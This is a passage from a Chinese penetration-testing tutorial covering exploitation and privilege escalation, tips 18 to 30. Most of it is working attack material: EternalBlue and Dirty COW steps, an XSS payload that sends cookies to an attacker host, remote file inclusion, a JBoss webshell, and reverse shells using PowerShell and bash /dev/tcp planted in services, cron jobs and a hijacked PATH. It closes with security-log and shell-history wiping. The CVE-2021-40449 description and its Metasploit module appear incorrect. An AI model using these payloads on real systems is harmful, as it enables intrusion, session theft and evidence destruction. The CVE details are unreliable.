http://[目标IP]/upload/test.jpg/.php,Nginx 会将该请求解析为 PHP 文件,执行马的代码;- 用蚁剑或菜刀连接,密码为 “cmd”,获取 Webshell。
技巧 18:Windows MS17-010 漏洞利用 —— 永恒之蓝
- • 漏洞影响:Windows XP/7/Server 2003/2008,可远程执行命令,获取系统权限。
- • 工具选择:Metasploit(MSF)、永恒之蓝漏洞利用工具( EternalBlue-Exploit)。
- • MSF 实战步骤:
-
- 启动 MSF:
msfconsole;
- 启动 MSF:
-
- 加载模块:
use exploit/windows/smb/ms17_010_eternalblue;
- 加载模块:
-
- 配置参数:
set RHOSTS [目标IP]、set LHOST [攻击机IP];
- 配置参数:
-
- 执行攻击:
run,若成功,获取 SYSTEM 权限的 Meterpreter 会话。
- 执行攻击:
- • 风险提示:该漏洞利用会导致目标系统蓝屏重启,需提前告知目标方,避免业务中断。
技巧 19:Linux Dirty COW 漏洞利用 —— 内核提权(补充)
- • 漏洞影响:Linux 内核 2.6.22-3.9,可通过修改 SUID 文件实现提权(CVE-2016-5195)。
- • 实战步骤:
-
- 检测漏洞:执行
uname -r查看内核版本,若在受影响范围,继续;
- 检测漏洞:执行
-
- 下载利用脚本:
wget ``https://github.com/FireFart/dirtycow/raw/master/dirty.c;
- 下载利用脚本:
-
- 编译执行:
gcc -pthread dirty.c -o dirty -lcrypt、./dirty,输入新密码(如 “123456”);
- 编译执行:
-
- 切换 root 用户:
su firefart,输入新密码,成功获取 root 权限。
- 切换 root 用户:
- • 注意点:该漏洞已在大多数 Linux 发行版中修复,仅适用于未更新内核的老旧系统。
技巧 20:XSS 漏洞利用 —— 获取 Cookie 与会话劫持
- • 漏洞类型:存储型 XSS(漏洞代码存储在数据库,如评论区)、反射型 XSS(漏洞代码仅在当前请求中生效,如搜索框)。
- • 存储型 XSS 实战:
-
- 在评论区输入 `.location.href='http://[攻击机 IP]/xss.php?cookie='+document.cookie
-
- 在攻击机创建 xss.php,内容为
$cookie = $_GET['cookie']; file_put_contents('cookie.txt', $cookie.\"\ \", FILE_APPEND);?>;
- 在攻击机创建 xss.php,内容为
-
- 当管理员访问评论区时,其 Cookie 会被发送到攻击机的 cookie.txt,用该 Cookie 替换本地 Cookie,即可劫持管理员会话。
- • 防御绕过:若目标过滤
,尝试用=x onerror=alert(document.cookie)>、onload=alert (1)>` 等标签绕过。
技巧 21:文件包含漏洞利用 —— 加载恶意代码
- • 漏洞判断:Web 参数中包含文件路径(如
?file=index.php),尝试修改为?file=../../etc/passwd(Linux)或?file=c:/windows/system32/drivers/etc/hosts(Windows),若能读取系统文件,则存在文件包含漏洞。 - • 利用方法:
-
- 本地文件包含(LFI):读取敏感文件,如
?file=../../var/www/html/config.php获取数据库密码;
- 本地文件包含(LFI):读取敏感文件,如
-
- 远程文件包含(RFI):若
allow_url_include=On,加载远程恶意文件,如?file=http://[攻击机IP]/malicious.txt(malicious.txt 内容为php system('whoami');?>)。
- 远程文件包含(RFI):若
- • 绕过技巧:若目标限制路径,尝试
../变形(如..././)、编码(如 URL 编码../为%2e%2e%2f)。
技巧 22:中间件 JBoss 漏洞利用 —— 获取 Webshell
- • JBoss 默认端口:8080,常见漏洞为 “JBoss 4.x JMX Console 未授权访问”。
- • 实战步骤:
-
- 访问
http://[目标IP]:8080/jmx-console/,若无需登录即可进入,存在漏洞;
- 访问
-
- 搜索 “jboss.web.deployment”,点击 “deploy” 方法;
-
- 在 “warUrl” 参数中输入远程 War 包地址(如
http://[攻击机IP]/shell.war,shell.war 为恶意 War 包),点击 “Invoke” 部署;
- 在 “warUrl” 参数中输入远程 War 包地址(如
-
- 访问
http://[目标IP]:8080/shell/,获取 Webshell。
- 访问
- • 补充:JBoss 7.x + 版本默认关闭 JMX Console,需通过其他漏洞(如 CVE-2017-12149)利用。
第四部分:权限提升实战技巧
获取初始权限后(如 Webshell、普通用户权限),需通过权限提升获取系统最高权限(Windows SYSTEM、Linux root),完成渗透测试目标。
技巧 23:Windows 服务权限配置错误提权
- • 漏洞原理:若普通用户对系统服务的 “binPath”(执行路径)有修改权限,可将路径改为恶意程序,重启服务后执行恶意代码。
- • 实战步骤:
-
- 查看可修改的服务:用
sc qc 服务名(如sc qc WuAuServ)查看服务权限,若 “USER” 为当前普通用户,或 “权限” 包含 “WRITE\_OWNER”,则可修改;
- 查看可修改的服务:用
-
- 修改服务路径:
sc config 服务名 binPath= \"cmd.exe /c powershell -nop -exec bypass -c \\\"$client = New-Object ``System.Net``.Sockets.TCPClient('攻击机IP',8888);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String);$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}\\\"\"注意:binPath=后有空格,命令需用双引号包裹;
- 修改服务路径:
-
- 重启服务:
sc stop 服务名、sc start 服务名,攻击机nc -lvp 8888接收 SYSTEM 权限 shell。
- 重启服务:
技巧 24:Windows 令牌窃取提权 ——Incognito
- • 工具选择:Meterpreter 会话中的 Incognito 模块,用于窃取系统令牌(Token)。
- • 实战步骤:
-
- 进入 Meterpreter 会话:
meterpreter > use incognito;
- 进入 Meterpreter 会话:
-
- 列出可用令牌:
meterpreter > list_tokens -u,查看是否有 “NT AUTHORITY\SYSTEM” 令牌;
- 列出可用令牌:
-
- 窃取令牌:
meterpreter > impersonate_token \"NT AUTHORITY\\SYSTEM\",若成功,当前用户变为 SYSTEM;
- 窃取令牌:
-
- 验证权限:
meterpreter > getuid,输出 “Server username: NT AUTHORITY\SYSTEM”。
- 验证权限:
- • 注意点:若目标开启 “UAC”(用户账户控制),普通用户无法直接窃取 SYSTEM 令牌,需先绕过 UAC(如利用 CVE-2021-40449)。
技巧 25:Windows UAC 绕过提权 ——CVE-2021-40449
- • 漏洞影响:Windows 10 1809-21H1、Windows Server 2019,利用 MSHTML 组件漏洞绕过 UAC。
- • MSF 实战步骤:
-
- 加载模块:
use exploit/windows/local/cve_2021_40449_microsoft_mshtml_uac_bypass;
- 加载模块:
-
- 配置参数:
set SESSION [当前Meterpreter会话ID]、set LHOST [攻击机IP];
- 配置参数:
-
- 执行绕过:
run,若成功,获取高权限 Meterpreter 会话,getuid显示 “NT AUTHORITY\SYSTEM”。
- 执行绕过:
技巧 26:Linux SUID 提权 —— 利用高权限命令
- • SUID 原理:设置 SUID 权限的命令,执行时会以命令所有者(通常为 root)的权限运行,若普通用户可执行该命令,可通过命令参数实现提权。
- • 实战步骤:
-
- 查找 SUID 命令:
find / -perm -u=s -type f 2>/dev/null,常见可提权的 SUID 命令有 find、cp、cat、bash;
- 查找 SUID 命令:
-
- find 提权:
find /tmp -name test -exec /bin/sh -p {} \\;,若 find 有 SUID 权限,执行后会生成 root 权限的 shell;
- find 提权:
-
- bash 提权:
/bin/bash -p,若 bash 有 SUID 权限,执行后直接进入 root shell。
- bash 提权:
- • 验证权限:执行
id,若输出 “uid=0 (root)”,说明提权成功。
技巧 27:Linux sudo 配置错误提权 ——sudo -l
- • sudo -l 作用:查看当前用户可通过 sudo 执行的命令,若命令无需输入密码且可执行系统命令,可实现提权。
-
• 常见可提权命令:
-
• 若
sudo -l显示 “(ALL) NOPASSWD: /usr/bin/find”,则执行sudo find /tmp -name test -exec /bin/sh {} \\;; - • 若显示 “(ALL) NOPASSWD: /usr/bin/cp”,则执行
sudo cp /etc/shadow /tmp/shadow(读取 shadow 文件,破解 root 密码); - • 若显示 “(ALL) NOPASSWD: /bin/bash”,则直接执行
sudo bash,进入 root shell。
技巧 28:Linux 计划任务提权 —— 修改任务脚本
- • 计划任务路径:/etc/crontab(系统级计划任务)、/var/spool/cron/root(root 用户计划任务)。
- • 实战步骤:
-
- 查看计划任务:
cat /etc/crontab,若发现 root 用户定期执行的脚本(如*/5 * * * * root /home/user/``backup.sh);
- 查看计划任务:
-
- 检查脚本权限:
ls -l /home/user/``backup.sh,若普通用户有写入权限(如 “-rwxrwxrwx”);
- 检查脚本权限:
-
- 修改脚本:
echo \"/bin/bash -i >& /dev/tcp/[攻击机IP]/8888 0>&1\" >> /home/user/``backup.sh;
- 修改脚本:
-
- 等待计划任务执行:攻击机
nc -lvp 8888,5 分钟后接收 root 权限 shell。
- 等待计划任务执行:攻击机
技巧 29:Linux 环境变量提权 —— 覆盖系统命令
- • 漏洞原理:若计划任务或 SUID 命令执行的是相对路径(如
./``test.sh),而非绝对路径(如/usr/bin/``test.sh),普通用户可通过修改环境变量(PATH),让系统优先执行恶意命令。 - • 实战步骤:
-
- 查看计划任务:
cat /etc/crontab,发现 “\/1 \ \ \ \* root test.sh”(test.sh 中执行ls命令,且用相对路径);
- 查看计划任务:
-
- 创建恶意 ls 命令:
echo \"/bin/bash -i >& /dev/tcp/[攻击机IP]/8888 0>&1\" > /tmp/ls,chmod +x /tmp/ls;
- 创建恶意 ls 命令:
-
- 修改环境变量:
export PATH=/tmp:$PATH(让系统优先从 /tmp 目录找 ls 命令);
- 修改环境变量:
-
- 等待计划任务执行:攻击机监听 8888 端口,接收 root shell。
技巧 30:权限提升后的数据清理 —— 避免痕迹留存
- • 核心原则:合法渗透测试完成后,需清理测试痕迹,避免影响目标系统正常运行。
-
• Windows 清理:
-
• 删除恶意文件:
del C:\\shell.war、del C:\\tmp\\malicious.exe; - • 清理日志:
wevtutil cl Security(清理安全日志)、wevtutil cl System(清理系统日志); -
• 恢复服务配置:
sc config 服务名 binPath= \"原路径\",重启服务。 -
• Linux 清理:
-
• 删除恶意文件:
rm /tmp/ls、rm /home/user/``backup.sh; - • 清理命令历史:
history -c(清除当前用户历史)、rm ~/.bash_history(删除历史文件); - • 恢复计划任务:
vi /etc/crontab,删除添加的恶意内容。
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论